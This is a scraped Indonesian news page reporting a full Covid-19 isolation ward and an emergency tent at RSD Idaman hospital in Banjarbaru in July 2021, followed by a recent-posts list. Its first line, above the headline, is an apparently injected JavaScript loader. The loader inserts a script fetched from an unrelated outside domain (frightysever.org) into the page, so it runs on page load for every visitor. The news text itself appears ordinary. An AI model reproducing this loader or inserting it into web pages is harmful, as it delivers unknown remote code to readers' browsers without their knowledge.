(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Terpantau Dirikan Tenda Darurat Covid-19, RSD Idaman: Sebagai Antisipasi!


KANALKALIMANTAN.COM, BANJARBARU – Sinyal darurat atas tingginya tren kenaikan angka kasus Covid-19 di Kota Banjarbaru kembali berbunyi. Hal itu ditandai dengan ditetapkannya status ruang isolasi di Rumah Sakit Daerah (RSD) Idaman yang telah terisi penuh, Rabu (7/7/2021) pagi.

Dijelaskan Kepala Bagian Tata Usaha RSD Idaman, M Firmansyah bahwa kondisi ruangan perawatan Covid-19 memang sudah tak mampu menampung pasien. Bahkan disebutkan sejumlah pasien terpapar virus sampai harus antre di IGD.

“Ruangan khusus pasien Covid-19 kita sudah penuh. Terakhir ada lima pasien yang sempat antre di IGD. Terkait kenaikan ini, kita putuskan mengungsikan ke ruangan lain,” ujarnya.

Baca juga: Humas Polri Stempel Hoax Berita Terkonfirmasi, AJI: Bungkam Kebebasan Pers!

 

Adapun untuk ruang perawatan khusus Covid-19 di RSD Idaman, kata Firman, sebenarnya mampu menampung sebanyak 50 pasien Covid-19. Hanya saja, dengan jumlah pasien saat ini yang telah mencapai lebih dari 40 pasien karena bergejala kronis, maka pihaknya harus mencarikan ruangan lain.

Terpantau melalui kacamata kanalkalimantan.com kini RSD Idaman memasang tenda khusus IGD Covid-19 mulai didirikan di halaman rumah sakit, sekitar pukul 17.00 WITA Sore. Kamis (8/7/2021).


Hal ini dibenarkan Direktur RSD Idaman Kota Banjarbaru Endah Labati Silapurna, saat dikonfirmasi oleh kanalkalimantan.com.

“Benar, itu antisipasi dari tim Satgas Banjarbaru, Badan Nasional Penanggulangan Bencana (BNPB) dan Polres Banjarbaru. Tenda ini disiapkan apabila terjadi lonjakkan kasus Covid-19 yang sudah jika tidak bisa ditampung lagi di IGD, semoga ini tidak terjadi dan tidak terpakai,” terangnya.

Kini pasien Covid-19 masih dapat tertampung di ruang isolasi, pihak RSD Idaman memberikan keterangan terlebih. Kini pihaknya menyiapkan beberapa bed untuk mengantisipasi lonjakan kasus.

“Tapi kami juga menyiapkan tambahan bed sebanyak 24 bed, mengantisipasi kalau ada lonjakan kasus. Jadi total bed untuk pelayanan covid ada 85 bed,” ucapnya. (Kanalkalimantan.com/dewi)

Reporter: dewi
Editor: cell


Risa

Recent Posts

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

1 menit ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

3 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

9 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

9 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

12 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

15 jam ago

This website uses cookies.